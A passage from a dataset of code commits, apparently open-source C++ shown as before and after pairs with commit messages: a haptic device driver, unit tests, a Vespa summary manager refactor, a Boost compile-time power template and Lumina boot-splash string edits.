HD_INVALID_HANDLE;\n\treturn true;\n}\n\nbool PhantomDevice::update()\n{\n\t\/\/ TODO(bert): this code should cache the access indices.\n\n\t{\n\t\t\/\/ Use Eigen::Map to make the raw HDAPI output values look like Eigen data types\n\t\tEigen::Map<Vector3d> force(m_state->forceBuffer);\n\n\t\tVector3d forceValue;\n\t\tif (getOutputData().isValid() && getOutputData().vectors().get(\"force\", &forceValue))\n\t\t{\n\t\t\tforce = forceValue;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tforce.setZero();\n\t\t}\n\t}\n\n\thdBeginFrame(m_state->hHD);\n\n\t\/\/ Receive the current device position (in millimeters!), pose transform, and button state bitmap.\n\thdGetDoublev(HD_CURRENT_POSITION, m_state->positionBuffer);\n\thdGetDoublev(HD_CURRENT_TRANSFORM, m_state->transformBuffer);\n\thdGetIntegerv(HD_CURRENT_BUTTONS, &(m_state->buttonsBuffer));\n\n\t\/\/ Set the force command (in newtons).\n\thdSetDoublev(HD_CURRENT_FORCE, m_state->forceBuffer);\n\t\/\/hdSetDoublev(HD_CURRENT_TORQUE, m_state->torqueBuffer);\n\n\thdEndFrame(m_state->hHD);\n\n\tbool fatalError = checkForFatalError(\"Error in device update\");\n\n\t{\n\t\t\/\/ Use Eigen::Map to make the raw HDAPI output values look like Eigen data types\n\t\tEigen::Map<Vector3d> position(m_state->positionBuffer);\n\t\tEigen::Map<Eigen::Matrix<double, 4, 4, Eigen::ColMajor>> transform(m_state->transformBuffer);\n\n\t\tRigidTransform3d pose;\n\t\tpose.linear() = transform.block<3,3>(0,0);\n\t\tpose.translation() = position * 0.001; \/\/ convert from millimeters to meters!\n\n\t\tgetInputData().poses().set(\"pose\", pose);\n\t\tgetInputData().booleans().set(\"button0\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_1) != 0);\n\t\tgetInputData().booleans().set(\"button1\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_2) != 0);\n\t\tgetInputData().booleans().set(\"button2\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_3) != 0);\n\t\tgetInputData().booleans().set(\"button3\", (m_state->buttonsBuffer & HD_DEVICE_BUTTON_4) != 0);\n\t}\n\n\treturn !fatalError;\n}\n\nDataGroup PhantomDevice::buildInputData()\n{\n\tDataGroupBuilder builder;\n\tbuilder.addPose(\"pose\");\n\tbuilder.addBoolean(\"button0\");\n\tbuilder.addBoolean(\"button1\");\n\tbuilder.addBoolean(\"button2\");\n\tbuilder.addBoolean(\"button3\");\n\treturn builder.createData();\n}\n\n\nbool PhantomDevice::checkForFatalError(const char* message)\n{\n\treturn checkForFatalError(m_logger, m_messageLabel.c_str(), message);\n}\n\nbool PhantomDevice::checkForFatalError(const std::shared_ptr<SurgSim::Framework::Logger>& logger,\n const char* prefix, const char* message)\n{\n\tHDErrorInfo error = hdGetError();\n\tif (error.errorCode == HD_SUCCESS)\n\t{\n\t\treturn false;\n\t}\n\n\t\/\/ The HD API maintains an error stack, so in theory there could be more than one error pending.\n\t\/\/ We do head recursion to get them all in the correct order.\n\tbool anotherFatalError = checkForFatalError(logger, prefix, message);\n\n\tbool isFatal = ((error.errorCode != HD_WARM_MOTORS) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_FORCE) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_FORCE_IMPULSE) &&\n\t (error.errorCode != HD_EXCEEDED_MAX_VELOCITY) &&\n\t (error.errorCode != HD_FORCE_ERROR));\n\n\tSURGSIM_LOG_SEVERE(logger) << prefix << message << std::endl <<\n\t \" Error text: '\" << hdGetErrorString(error.errorCode) << \"'\" << std::endl <<\n\t \" Error code: 0x\" << std::hex << std::setw(4) << std::setfill('0') << error.errorCode <<\n\t \" (internal: \" << std::dec << error.internalErrorCode << \")\" << std::endl;\n\n\treturn (isFatal || anotherFatalError);\n}\n\n}; \/\/ namespace Device\n}; \/\/ namespace SurgSim\n<|endoftext|>"} {"text":"<commit_before>#ifndef TESTLINEDETECTION_HPP\n#define TESTLINEDETECTION_HPP\n\n#include <QtTest>\n#include <intelligence\/linedetection\/linedetector.h>\n#include <iostream>\n#ifdef _WIN32\n #include <direct.h>\n #define GetCurrentDir _getcwd\n#else\n #include <unistd.h>\n #define GetCurrentDir getcwd\n#endif\n\nclass TestLineDetection: public QObject\n{\n Q_OBJECT\n\nprivate Q_SLOTS:\n void testCase1()\n {\n \/\/char videoFile[] = \"..\/igvc_cam_data\/stills\/img_left2.jpg\";\n char videoFile[] = \"..\/src\/intelligence\/igvc_cam_data\/video\/CompCourse_left0.mpeg\";\n\n LineDetector ln(videoFile);\n bool success =true;\n while(success){\n\n ln.applyAlgorithm();\n success = ln.loadImage(videoFile);\n }\n }\n};\n\n#endif \/\/ TESTLINEDETECTION_HPP\n<commit_msg>Added some more comments<commit_after>#ifndef TESTLINEDETECTION_HPP\n#define TESTLINEDETECTION_HPP\n\n#include <QtTest>\n#include <intelligence\/linedetection\/linedetector.h>\n#include <iostream>\n#ifdef _WIN32\n #include <direct.h>\n #define GetCurrentDir _getcwd\n#else\n #include <unistd.h>\n #define GetCurrentDir getcwd\n#endif\n\nclass TestLineDetection: public QObject\n{\n Q_OBJECT\n\nprivate Q_SLOTS:\n void testCase1()\n {\n \/\/char videoFile[] = \"..\/igvc_cam_data\/stills\/img_left2.jpg\";\n \/\/\/Note: This may not be the correct directory on your computer\n char videoFile[] = \"..\/src\/intelligence\/igvc_cam_data\/video\/CompCourse_left0.mpeg\";\n\n LineDetector ln(videoFile);\n bool success =true;\n while(success){\n\n ln.applyAlgorithm();\n success = ln.loadImage(videoFile);\n }\n }\n};\n\n#endif \/\/ TESTLINEDETECTION_HPP\n<|endoftext|>"} {"text":"<commit_before>#include <functional>\n\n#include \"arch\/runtime\/starter.hpp\"\n#include \"serializer\/config.hpp\"\n#include \"unittest\/mock_file.hpp\"\n#include \"unittest\/gtest.hpp\"\n\nnamespace unittest {\n\n\/\/ This test is completely vacuous, but should invite expansion in the future.\n\nvoid run_CreateConstructDestroy() {\n \/\/ This serves more as a mock_file_t test than a serializer test.\n mock_file_opener_t file_opener;\n standard_serializer_t::create(&file_opener, standard_serializer_t::static_config_t());\n standard_serializer_t ser(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection());\n}\n\nTEST(SerializerTest, CreateConstructDestroy) {\n run_in_thread_pool(run_CreateConstructDestroy, 4);\n}\n\nvoid run_AddDeleteRepeatedly(bool perform_index_write) {\n mock_file_opener_t file_opener;\n standard_serializer_t::create(&file_opener, standard_serializer_t::static_config_t());\n standard_serializer_t ser(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection());\n\n scoped_malloc_t<ser_buffer_t> buf = ser.malloc();\n memset(buf->cache_data, 0, ser.get_block_size().value());\n\n scoped_ptr_t<file_account_t> account(ser.make_io_account(1));\n\n for (int i = 0; i < 200000; ++i) {\n const block_id_t block_id = i;\n std::vector<buf_write_info_t> infos;\n infos.push_back(buf_write_info_t(buf.get(), ser.get_block_size(), block_id));\n\n \/\/ Create the block\n struct : public iocallback_t, public cond_t {\n void on_io_complete() {\n pulse();\n }\n } cb;\n\n std::vector<counted_t<standard_block_token_t> > tokens\n = ser.block_writes(infos, account.get(), &cb);\n\n \/\/ Wait for it to be written (because we're nice).\n cb.wait();\n\n if (perform_index_write) {\n \/\/ Do an index write creating the block.\n {\n std::vector<index_write_op_t> write_ops;\n write_ops.push_back(index_write_op_t(block_id, tokens[0], repli_timestamp_t::distant_past));\n ser.index_write(write_ops, account.get());\n }\n \/\/ Now delete the only block token and delete the index reference.\n tokens.clear();\n {\n std::vector<index_write_op_t> write_ops;\n write_ops.push_back(index_write_op_t(block_id, counted_t<standard_block_token_t>()));\n ser.index_write(write_ops, account.get());\n }\n\n } else {\n \/\/ Now delete the only block token.\n tokens.clear();\n }\n }\n}\n\nTEST(SerializerTest, AddDeleteRepeatedly) {\n run_in_thread_pool(std::bind(run_AddDeleteRepeatedly, false), 4);\n}\n\nTEST(SerializerTest, AddDeleteRepeatedlyWithIndex) {\n run_in_thread_pool(std::bind(run_AddDeleteRepeatedly, true), 4);\n}\n\n\n} \/\/ namespace unittest\n<commit_msg>Added comments about the goals of run_AddDeleteRepeatedly with regard to what issue it is testing.<commit_after>#include <functional>\n\n#include \"arch\/runtime\/starter.hpp\"\n#include \"serializer\/config.hpp\"\n#include \"unittest\/mock_file.hpp\"\n#include \"unittest\/gtest.hpp\"\n\nnamespace unittest {\n\n\/\/ This test is completely vacuous, but should invite expansion in the future.\n\nvoid run_CreateConstructDestroy() {\n \/\/ This serves more as a mock_file_t test than a serializer test.\n mock_file_opener_t file_opener;\n standard_serializer_t::create(&file_opener, standard_serializer_t::static_config_t());\n standard_serializer_t ser(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection());\n}\n\nTEST(SerializerTest, CreateConstructDestroy) {\n run_in_thread_pool(run_CreateConstructDestroy, 4);\n}\n\nvoid run_AddDeleteRepeatedly(bool perform_index_write) {\n mock_file_opener_t file_opener;\n standard_serializer_t::create(&file_opener, standard_serializer_t::static_config_t());\n standard_serializer_t ser(standard_serializer_t::dynamic_config_t(),\n &file_opener,\n &get_global_perfmon_collection());\n\n scoped_malloc_t<ser_buffer_t> buf = ser.malloc();\n memset(buf->cache_data, 0, ser.get_block_size().value());\n\n scoped_ptr_t<file_account_t> account(ser.make_io_account(1));\n\n \/\/ We run enough create\/delete operations to run ourselves through the young\n \/\/ extent queue and (with perform_index_write true) kick off a GC that reproduces\n \/\/ #1691.\n for (int i = 0; i < 200000; ++i) {\n const block_id_t block_id = i;\n std::vector<buf_write_info_t> infos;\n infos.push_back(buf_write_info_t(buf.get(), ser.get_block_size(), block_id));\n\n \/\/ Create the block\n struct : public iocallback_t, public cond_t {\n void on_io_complete() {\n pulse();\n }\n } cb;\n\n std::vector<counted_t<standard_block_token_t> > tokens\n = ser.block_writes(infos, account.get(), &cb);\n\n \/\/ Wait for it to be written (because we're nice).\n cb.wait();\n\n if (perform_index_write) {\n \/\/ Do an index write creating the block.\n {\n std::vector<index_write_op_t> write_ops;\n write_ops.push_back(index_write_op_t(block_id, tokens[0], repli_timestamp_t::distant_past));\n ser.index_write(write_ops, account.get());\n }\n \/\/ Now delete the only block token and delete the index reference.\n tokens.clear();\n {\n std::vector<index_write_op_t> write_ops;\n write_ops.push_back(index_write_op_t(block_id, counted_t<standard_block_token_t>()));\n ser.index_write(write_ops, account.get());\n }\n\n } else {\n \/\/ Now delete the only block token.\n tokens.clear();\n }\n }\n}\n\nTEST(SerializerTest, AddDeleteRepeatedly) {\n run_in_thread_pool(std::bind(run_AddDeleteRepeatedly, false), 4);\n}\n\n\/\/ This is a regression test for #1691.\nTEST(SerializerTest, AddDeleteRepeatedlyWithIndex) {\n run_in_thread_pool(std::bind(run_AddDeleteRepeatedly, true), 4);\n}\n\n\n} \/\/ namespace unittest\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include <vespa\/fastos\/fastos.h>\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".proton.docsummary.summarymanager\");\n#include \"documentstoreadapter.h\"\n#include \"summarycompacttarget.h\"\n#include \"summaryflushtarget.h\"\n#include \"summarymanager.h\"\n#include <vespa\/searchcore\/proton\/common\/eventlogger.h>\n#include <vespa\/searchlib\/docstore\/logdocumentstore.h>\n#include <vespa\/searchsummary\/docsummary\/docsumconfig.h>\n#include <vespa\/config\/print\/ostreamconfigwriter.h>\n\nusing namespace config;\nusing namespace document;\nusing namespace search::docsummary;\nusing namespace vespa::config::search::core;\nusing namespace vespa::config::search::summary;\nusing namespace vespa::config::search;\n\nusing search::TuneFileSummary;\nusing search::common::FileHeaderContext;\n\nnamespace proton {\n\nSummaryManager::SummarySetup::\nSummarySetup(const vespalib::string & baseDir,\n const DocTypeName & docTypeName,\n const SummaryConfig & summaryCfg,\n const SummarymapConfig & summarymapCfg,\n const JuniperrcConfig & juniperCfg,\n const search::IAttributeManager::SP &attributeMgr,\n const search::IDocumentStore::SP & docStore,\n const DocumentTypeRepo::SP &repo)\n : _docsumWriter(),\n _wordFolder(),\n _juniperProps(juniperCfg),\n _juniperConfig(),\n _attributeMgr(attributeMgr),\n _docStore(docStore),\n _fieldCacheRepo(),\n _repo(repo),\n _markupFields()\n{\n std::unique_ptr<ResultConfig> resultConfig(new ResultConfig());\n if (!resultConfig->ReadConfig(summaryCfg,\n vespalib::make_string(\"SummaryManager(%s)\",\n baseDir.c_str()).c_str())) {\n std::ostringstream oss;\n config::OstreamConfigWriter writer(oss);\n writer.write(summaryCfg);\n throw vespalib::IllegalArgumentException\n (vespalib::make_string(\"Could not initialize \"\n \"summary result config for directory '%s' \"\n \"based on summary config '%s'\",\n baseDir.c_str(), oss.str().c_str()));\n }\n\n _juniperConfig.reset(new juniper::Juniper(&_juniperProps, &_wordFolder));\n _docsumWriter.reset(new DynamicDocsumWriter(resultConfig.release(), NULL));\n DynamicDocsumConfig dynCfg(this, _docsumWriter.get());\n dynCfg.configure(summarymapCfg);\n for (size_t i = 0; i < summarymapCfg.override.size(); ++i) {\n const SummarymapConfig::Override & o = summarymapCfg.override[i];\n if (o.command == \"dynamicteaser\" ||\n o.command == \"textextractor\") {\n vespalib::string markupField = o.arguments;\n if (markupField.empty())\n continue;\n \/\/ Assume just one argument: source field that must contain markup\n _markupFields.insert(markupField);\n }\n }\n const DocumentType *docType = repo->getDocumentType(docTypeName.getName());\n if (docType != NULL) {\n _fieldCacheRepo.reset(new FieldCacheRepo(getResultConfig(), *docType));\n } else if (getResultConfig().GetNumResultClasses() == 0) {\n LOG(debug, \"Create empty field cache repo for document type '%s'\",\n docTypeName.toString().c_str());\n _fieldCacheRepo.reset(new FieldCacheRepo());\n } else {\n throw vespalib::IllegalArgumentException\n (vespalib::make_string(\"Did not find document type '%s' in current document type repo. \"\n \"Cannot setup field cache repo for the summary setup\",\n docTypeName.toString().c_str()));\n }\n}\n\nIDocsumStore::UP SummaryManager::SummarySetup::createDocsumStore(\n const vespalib::string &resultClassName) {\n return search::docsummary::IDocsumStore::UP(\n new DocumentStoreAdapter(\n *_docStore, *_repo, getResultConfig(), resultClassName,\n _fieldCacheRepo->getFieldCache(resultClassName),\n _markupFields));\n}\n\n\nISummaryManager::ISummarySetup::SP\nSummaryManager::createSummarySetup(const SummaryConfig & summaryCfg,\n const SummarymapConfig & summarymapCfg,\n const JuniperrcConfig & juniperCfg,\n const DocumentTypeRepo::SP &repo,\n const search::IAttributeManager::SP &attributeMgr)\n{\n ISummarySetup::SP newSetup(new SummarySetup(_baseDir, _docTypeName, summaryCfg,\n summarymapCfg, juniperCfg,\n attributeMgr, _docStore, repo));\n return newSetup;\n}\n\nnamespace {\n\nsearch::DocumentStore::Config getStoreConfig(const ProtonConfig::Summary::Cache & cache)\n{\n document::CompressionConfig compression;\n if (cache.compression.type == ProtonConfig::Summary::Cache::Compression::LZ4) {\n compression.type = document::CompressionConfig::LZ4;\n }\n compression.compressionLevel = cache.compression.level;\n return search::DocumentStore::Config(compression, cache.maxbytes, cache.initialentries).allowVisitCaching(cache.allowvisitcaching);\n}\n\n}\n\nSummaryManager::SummaryManager(vespalib::ThreadStackExecutorBase & executor,\n const ProtonConfig::Summary & summary,\n const search::GrowStrategy & growStrategy,\n const vespalib::string &baseDir,\n const DocTypeName &docTypeName,\n const TuneFileSummary &tuneFileSummary,\n const FileHeaderContext &fileHeaderContext,\n search::transactionlog::SyncProxy &tlSyncer,\n const search::IBucketizer::SP & bucketizer)\n : _baseDir(baseDir),\n _docTypeName(docTypeName),\n _docStore(),\n _tuneFileSummary(tuneFileSummary),\n _currentSerial(0u)\n{\n search::DocumentStore::Config config(getStoreConfig(summary.cache));\n const ProtonConfig::Summary::Log & log(summary.log);\n const ProtonConfig::Summary::Log::Chunk & chunk(log.chunk);\n document::CompressionConfig chunkCompression;\n if (chunk.compression.type == ProtonConfig::Summary::Log::Chunk::Compression::LZ4) {\n chunkCompression.type = document::CompressionConfig::LZ4;\n }\n chunkCompression.compressionLevel = chunk.compression.level;\n\n document::CompressionConfig compactCompression;\n if (chunk.compression.type == ProtonConfig::Summary::Log::Chunk::Compression::LZ4) {\n compactCompression.type = document::CompressionConfig::LZ4;\n }\n compactCompression.compressionLevel = chunk.compression.level;\n \n search::WriteableFileChunk::Config fileConfig(chunkCompression, chunk.maxbytes, chunk.maxentries);\n search::LogDataStore::Config logConfig(log.maxfilesize,\n log.maxdiskbloatfactor,\n log.maxbucketspread,\n log.minfilesizefactor,\n log.numthreads,\n log.compact2activefile,\n compactCompression,\n fileConfig);\n logConfig.disableCrcOnRead(chunk.skipcrconread);\n _docStore.reset(\n new search::LogDocumentStore(executor, baseDir,\n search::LogDocumentStore::\n Config(config, logConfig),\n growStrategy,\n tuneFileSummary,\n fileHeaderContext,\n tlSyncer,\n summary.compact2buckets ? bucketizer : search::IBucketizer::SP()));\n}\n\nvoid\nSummaryManager::putDocument(uint64_t syncToken, const Document & doc, search::DocumentIdT lid)\n{\n _docStore->write(syncToken, doc, lid);\n _currentSerial = syncToken;\n}\n\nvoid\nSummaryManager::removeDocument(uint64_t syncToken, search::DocumentIdT lid)\n{\n _docStore->remove(syncToken, lid);\n _currentSerial = syncToken;\n}\n\nIFlushTarget::List SummaryManager::getFlushTargets()\n{\n IFlushTarget::List ret;\n ret.push_back(IFlushTarget::SP(new SummaryFlushTarget(getBackingStore())));\n if (dynamic_cast<search::LogDocumentStore *>(_docStore.get()) != NULL) {\n ret.push_back(IFlushTarget::SP(new SummaryCompactTarget(getBackingStore())));\n }\n return ret;\n}\n\n} \/\/ namespace proton\n<commit_msg>Avoid copy paste errors by using a template for deriving compression config.<commit_after>\/\/ Copyright 2016 Yahoo Inc. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include <vespa\/fastos\/fastos.h>\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".proton.docsummary.summarymanager\");\n#include \"documentstoreadapter.h\"\n#include \"summarycompacttarget.h\"\n#include \"summaryflushtarget.h\"\n#include \"summarymanager.h\"\n#include <vespa\/searchcore\/proton\/common\/eventlogger.h>\n#include <vespa\/searchlib\/docstore\/logdocumentstore.h>\n#include <vespa\/searchsummary\/docsummary\/docsumconfig.h>\n#include <vespa\/config\/print\/ostreamconfigwriter.h>\n\nusing namespace config;\nusing namespace document;\nusing namespace search::docsummary;\nusing namespace vespa::config::search::core;\nusing namespace vespa::config::search::summary;\nusing namespace vespa::config::search;\n\nusing search::TuneFileSummary;\nusing search::common::FileHeaderContext;\n\nnamespace proton {\n\nSummaryManager::SummarySetup::\nSummarySetup(const vespalib::string & baseDir,\n const DocTypeName & docTypeName,\n const SummaryConfig & summaryCfg,\n const SummarymapConfig & summarymapCfg,\n const JuniperrcConfig & juniperCfg,\n const search::IAttributeManager::SP &attributeMgr,\n const search::IDocumentStore::SP & docStore,\n const DocumentTypeRepo::SP &repo)\n : _docsumWriter(),\n _wordFolder(),\n _juniperProps(juniperCfg),\n _juniperConfig(),\n _attributeMgr(attributeMgr),\n _docStore(docStore),\n _fieldCacheRepo(),\n _repo(repo),\n _markupFields()\n{\n std::unique_ptr<ResultConfig> resultConfig(new ResultConfig());\n if (!resultConfig->ReadConfig(summaryCfg,\n vespalib::make_string(\"SummaryManager(%s)\",\n baseDir.c_str()).c_str())) {\n std::ostringstream oss;\n config::OstreamConfigWriter writer(oss);\n writer.write(summaryCfg);\n throw vespalib::IllegalArgumentException\n (vespalib::make_string(\"Could not initialize \"\n \"summary result config for directory '%s' \"\n \"based on summary config '%s'\",\n baseDir.c_str(), oss.str().c_str()));\n }\n\n _juniperConfig.reset(new juniper::Juniper(&_juniperProps, &_wordFolder));\n _docsumWriter.reset(new DynamicDocsumWriter(resultConfig.release(), NULL));\n DynamicDocsumConfig dynCfg(this, _docsumWriter.get());\n dynCfg.configure(summarymapCfg);\n for (size_t i = 0; i < summarymapCfg.override.size(); ++i) {\n const SummarymapConfig::Override & o = summarymapCfg.override[i];\n if (o.command == \"dynamicteaser\" ||\n o.command == \"textextractor\") {\n vespalib::string markupField = o.arguments;\n if (markupField.empty())\n continue;\n \/\/ Assume just one argument: source field that must contain markup\n _markupFields.insert(markupField);\n }\n }\n const DocumentType *docType = repo->getDocumentType(docTypeName.getName());\n if (docType != NULL) {\n _fieldCacheRepo.reset(new FieldCacheRepo(getResultConfig(), *docType));\n } else if (getResultConfig().GetNumResultClasses() == 0) {\n LOG(debug, \"Create empty field cache repo for document type '%s'\",\n docTypeName.toString().c_str());\n _fieldCacheRepo.reset(new FieldCacheRepo());\n } else {\n throw vespalib::IllegalArgumentException\n (vespalib::make_string(\"Did not find document type '%s' in current document type repo. \"\n \"Cannot setup field cache repo for the summary setup\",\n docTypeName.toString().c_str()));\n }\n}\n\nIDocsumStore::UP SummaryManager::SummarySetup::createDocsumStore(\n const vespalib::string &resultClassName) {\n return search::docsummary::IDocsumStore::UP(\n new DocumentStoreAdapter(\n *_docStore, *_repo, getResultConfig(), resultClassName,\n _fieldCacheRepo->getFieldCache(resultClassName),\n _markupFields));\n}\n\n\nISummaryManager::ISummarySetup::SP\nSummaryManager::createSummarySetup(const SummaryConfig & summaryCfg,\n const SummarymapConfig & summarymapCfg,\n const JuniperrcConfig & juniperCfg,\n const DocumentTypeRepo::SP &repo,\n const search::IAttributeManager::SP &attributeMgr)\n{\n ISummarySetup::SP newSetup(new SummarySetup(_baseDir, _docTypeName, summaryCfg,\n summarymapCfg, juniperCfg,\n attributeMgr, _docStore, repo));\n return newSetup;\n}\n\nnamespace {\n\ntemplate<typename T>\ndocument::CompressionConfig\nderiveCompression(const T & config) {\n document::CompressionConfig compression;\n if (config.type == T::LZ4) {\n compression.type = document::CompressionConfig::LZ4;\n }\n compression.compressionLevel = config.level;\n return compression;\n}\n\nsearch::DocumentStore::Config getStoreConfig(const ProtonConfig::Summary::Cache & cache)\n{\n return search::DocumentStore::Config(deriveCompression(cache.compression), cache.maxbytes, cache.initialentries).allowVisitCaching(cache.allowvisitcaching);\n}\n\n}\n\nSummaryManager::SummaryManager(vespalib::ThreadStackExecutorBase & executor,\n const ProtonConfig::Summary & summary,\n const search::GrowStrategy & growStrategy,\n const vespalib::string &baseDir,\n const DocTypeName &docTypeName,\n const TuneFileSummary &tuneFileSummary,\n const FileHeaderContext &fileHeaderContext,\n search::transactionlog::SyncProxy &tlSyncer,\n const search::IBucketizer::SP & bucketizer)\n : _baseDir(baseDir),\n _docTypeName(docTypeName),\n _docStore(),\n _tuneFileSummary(tuneFileSummary),\n _currentSerial(0u)\n{\n search::DocumentStore::Config config(getStoreConfig(summary.cache));\n const ProtonConfig::Summary::Log & log(summary.log);\n const ProtonConfig::Summary::Log::Chunk & chunk(log.chunk);\n\n search::WriteableFileChunk::Config fileConfig(deriveCompression(chunk.compression), chunk.maxbytes, chunk.maxentries);\n search::LogDataStore::Config logConfig(log.maxfilesize,\n log.maxdiskbloatfactor,\n log.maxbucketspread,\n log.minfilesizefactor,\n log.numthreads,\n log.compact2activefile,\n deriveCompression(log.compact.compression),\n fileConfig);\n logConfig.disableCrcOnRead(chunk.skipcrconread);\n _docStore.reset(\n new search::LogDocumentStore(executor, baseDir,\n search::LogDocumentStore::\n Config(config, logConfig),\n growStrategy,\n tuneFileSummary,\n fileHeaderContext,\n tlSyncer,\n summary.compact2buckets ? bucketizer : search::IBucketizer::SP()));\n}\n\nvoid\nSummaryManager::putDocument(uint64_t syncToken, const Document & doc, search::DocumentIdT lid)\n{\n _docStore->write(syncToken, doc, lid);\n _currentSerial = syncToken;\n}\n\nvoid\nSummaryManager::removeDocument(uint64_t syncToken, search::DocumentIdT lid)\n{\n _docStore->remove(syncToken, lid);\n _currentSerial = syncToken;\n}\n\nIFlushTarget::List SummaryManager::getFlushTargets()\n{\n IFlushTarget::List ret;\n ret.push_back(IFlushTarget::SP(new SummaryFlushTarget(getBackingStore())));\n if (dynamic_cast<search::LogDocumentStore *>(_docStore.get()) != NULL) {\n ret.push_back(IFlushTarget::SP(new SummaryCompactTarget(getBackingStore())));\n }\n return ret;\n}\n\n} \/\/ namespace proton\n<|endoftext|>"} {"text":"<commit_before>#ifndef INC_STATIC_POW_HPP_\r\n#define INC_STATIC_POW_HPP_\r\n\r\n#include <boost\/integer.hpp>\r\n\r\nnamespace utils {\r\n template<size_t n, size_t p>\r\n struct static_pow\r\n {\r\n static boost::uintmax_t const value = n * static_pow<n, p-1>::value;\r\n };\r\n\r\n template<size_t n>\r\n struct static_pow<n, 1>\r\n {\r\n static boost::uintmax_t const value = n;\r\n };\r\n}\r\n\r\n#endif\r\n<commit_msg>assertion if p < 0<commit_after>#ifndef INC_STATIC_POW_HPP_\r\n#define INC_STATIC_POW_HPP_\r\n\r\n#include <boost\/integer.hpp>\r\n#include <boost\/static_assert.hpp>\r\n\r\nnamespace utils {\r\n template<size_t n, size_t p>\r\n struct static_pow\r\n {\r\n BOOST_STATIC_ASSERT((p >= 0));\r\n static boost::uintmax_t const value = n * static_pow<n, p-1>::value;\r\n };\r\n\r\n template<size_t n>\r\n struct static_pow<n, 0>\r\n {\r\n static boost::uintmax_t const value = 1;\r\n };\r\n}\r\n\r\n#endif\r\n<|endoftext|>"} {"text":"<commit_before>#include \"BootSplash.h\"\n#include \"ui_BootSplash.h\"\n\n#include <LuminaXDG.h>\n\nBootSplash::BootSplash() : QWidget(0, Qt::SplashScreen | Qt::X11BypassWindowManagerHint | Qt::WindowStaysOnTopHint | Qt::WindowDoesNotAcceptFocus), ui(new Ui::BootSplash){\n ui->setupUi(this);\n this->setObjectName(\"LuminaBootSplash\"); \/\/for theme styling\n \/\/Center the window on the primary screen\n QPoint ctr = QApplication::desktop()->screenGeometry().center();\n this->move( ctr.x()-(this->width()\/2), ctr.y()-(this->height()\/2) );\n}\n\nvoid BootSplash::showScreen(QString loading){ \/\/update icon, text, and progress\n QString txt, icon;\n int per = 0;\n if(loading==\"init\"){\n txt = tr(\"Initializing Session...\"); per = 10;\n icon = \"preferences-system-login\";\n }else if(loading==\"settings\"){\n txt = tr(\"Loading Settings...\"); per = 20;\t \n icon = \"user-home\";\n }else if(loading==\"user\"){\n txt = tr(\"Checking User Settings...\"); per = 30; \n icon = \"preferences-desktop-user\";\n }else if(loading==\"systray\"){\n txt = tr(\"Registering System Tray...\"); per = 40;\n icon = \"preferences-plugin\";\n }else if(loading==\"wm\"){\n txt = tr(\"Starting Window Manager...\"); per = 50;\n icon = \"preferences-system-windows-actions\";\t \n }else if(loading==\"apps\"){\n txt = tr(\"Detecting System Applications...\"); per = 60;\n icon = \"preferences-desktop-icons\";\n }else if(loading==\"menus\"){\n txt = tr(\"Initializing System Menu(s)...\"); per = 70;\n icon = \"preferences-system-windows\";\n }else if(loading==\"desktop\"){\n txt = tr(\"Initializing Desktop(s)...\"); per = 80;\n icon = \"preferences-desktop-wallpaper\";\t\n }else if(loading==\"final\"){\n txt = tr(\"Performing Final Checks...\"); per = 90;\n icon = \"pcbsd\";\t \n }\n ui->progressBar->setValue(per);\n ui->label_text->setText(txt);\n ui->label_icon->setPixmap( LXDG::findIcon(icon, \"Lumina-DE\").pixmap(64,64) );\n this->show();\n this->update();\n QApplication::processEvents();\n}\n\t\nvoid BootSplash::showText(QString txt){ \/\/will only update the text, not the icon\/progress\n ui->label_text->setText(txt);\n this->show();\n this->update();\n QApplication::processEvents();\n}<commit_msg>Tidier wording, and punctuation, in BootSplash.cpp<commit_after>#include \"BootSplash.h\"\n#include \"ui_BootSplash.h\"\n\n#include <LuminaXDG.h>\n\nBootSplash::BootSplash() : QWidget(0, Qt::SplashScreen | Qt::X11BypassWindowManagerHint | Qt::WindowStaysOnTopHint | Qt::WindowDoesNotAcceptFocus), ui(new Ui::BootSplash){\n ui->setupUi(this);\n this->setObjectName(\"LuminaBootSplash\"); \/\/for theme styling\n \/\/Center the window on the primary screen\n QPoint ctr = QApplication::desktop()->screenGeometry().center();\n this->move( ctr.x()-(this->width()\/2), ctr.y()-(this->height()\/2) );\n}\n\nvoid BootSplash::showScreen(QString loading){ \/\/update icon, text, and progress\n QString txt, icon;\n int per = 0;\n if(loading==\"init\"){\n txt = tr(\"Initializing Session …\"); per = 10;\n icon = \"preferences-system-login\";\n }else if(loading==\"settings\"){\n txt = tr(\"Loading System Settings …\"); per = 20;\t \n icon = \"user-home\";\n }else if(loading==\"user\"){\n txt = tr(\"Loading User Preferences …\"); per = 30; \n icon = \"preferences-desktop-user\";\n }else if(loading==\"systray\"){\n txt = tr(\"Preparing System Tray …\"); per = 40;\n icon = \"preferences-plugin\";\n }else if(loading==\"wm\"){\n txt = tr(\"Starting Window Manager …\"); per = 50;\n icon = \"preferences-system-windows-actions\";\t \n }else if(loading==\"apps\"){\n txt = tr(\"Detecting Applications …\"); per = 60;\n icon = \"preferences-desktop-icons\";\n }else if(loading==\"menus\"){\n txt = tr(\"Preparing Menus …\"); per = 70;\n icon = \"preferences-system-windows\";\n }else if(loading==\"desktop\"){\n txt = tr(\"Preparing Workspace …\"); per = 80;\n icon = \"preferences-desktop-wallpaper\";\t\n }else if(loading==\"final\"){\n txt = tr(\"Finalizing …\"); per = 90;\n icon = \"pcbsd\";\t \n }\n ui->progressBar->setValue(per);\n ui->label_text->setText(txt);\n ui->label_icon->setPixmap( LXDG::findIcon(icon, \"Lumina-DE\").pixmap(64,64) );\n this->show();\n this->update();\n QApplication::processEvents();\n}\n\t\nvoid BootSplash::showText(QString txt){ \/\/will only update the text, not the icon\/progress\n ui->label_text->setText(txt);\n this->show();\n this->update();\n 